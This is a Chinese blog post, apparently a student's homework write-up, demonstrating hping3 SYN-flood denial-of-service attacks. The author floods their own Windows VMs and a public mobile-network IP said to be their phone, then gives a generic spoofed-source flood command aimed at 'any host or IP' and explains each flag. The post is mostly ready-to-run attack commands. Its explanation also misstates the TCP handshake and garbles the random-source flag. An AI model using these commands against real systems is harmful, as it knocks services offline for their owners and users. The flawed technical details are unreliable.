拒绝服务攻击（DoS攻击）

网络安全网络安全拒绝服务攻击

发布时间 : 2019-10-19 01:27

阅读 :

背景

前几天网安老师给我们几个留了个作业，让我们进行DoS攻击自己的虚拟机，但是想自己玩点有意思的东西，所以就在作业的基础上加了一点东西(#^.^#)(#^.^#)

在kali的命令行中输入下面命令并回车

1	hping3 -V -c 10000 -d 120 -S -A -w 64 --keep -p 80 -s 80 --flood -a 192.168.43.110 192.168.43.148

图1 kali攻击win10

经过一段时间后，win10的CPU占用率为100%

图2 win10被攻击情况

在kali的命令行中输入下面命令并回车

1	hping3 -V -c 10000 -d 120 -S -A -w 64 --keep -p 80 -s 80 --flood -a 192.168.43.110 192.168.43.87

图3 kali攻击win7

经过一段时间后，win7的CPU占用率为100%

图4 win7被攻击情况

在kali的命令行中输入下面命令并回车

1	hping3 -V -c 10000 -d 120 -S -A -w 64 --keep -p 80 -s 80 --flood -a 192.168.43.110 192.168.43.116

图5 kali攻击XP

经过一段时间后，XP的CPU占用率为100%

图6 XP被攻击情况

想了想，试试对自己的安卓手机进行DoS吧，应该不会有啥问题，大不了就恢复出厂设置，于是就在kali的命令行中运行下面命令

1	hping3 -S --flood -V 117.136.66.249

图7 kali攻击Android

没被攻击前，我的网络传输速率也就是46.5k/s

图8 Android被攻击前

经过DoS一段时间后，Android的网络下载速率达到2.5M/s，拿到较高数据后就立马停止攻击了

图9 Android被攻击后

目标主机是任意一个主机名或者ip地址，攻击代码如下所示

1	hping3 -S --flood -rand--source -p 80 [hostname/ip]

命令解释如下

-S 表示发送的是SYN包。
这里涉及到TCP的三次握手，客户端与服务器要建立连接，首先要先由客户端向发服务器发送一个SYN包请求连接，服务器收到客户端发来的SYN包后会回复一个SYN+ACK包表示可以进行连接，之后客户端再发送一个SYN+ACK包，当这个包发送完成之后，客户端和服务器的连接就算成功了。因此，这个参数导致的结果时向服务器发送SYN包却不对返回的SYN+ACK包进行回应，使服务器保持在一种”半连接”在状态
–flood 表示以洪水的方式发送，就是拼了命地发
-rand–source 是指定随机来源，意思是假装有很多台主机要和服务器连接，实际上这些主机IP都是伪造的
-p 80 指定端口号为80
[hostname/ip] 目标服务器的主机名或是IP地址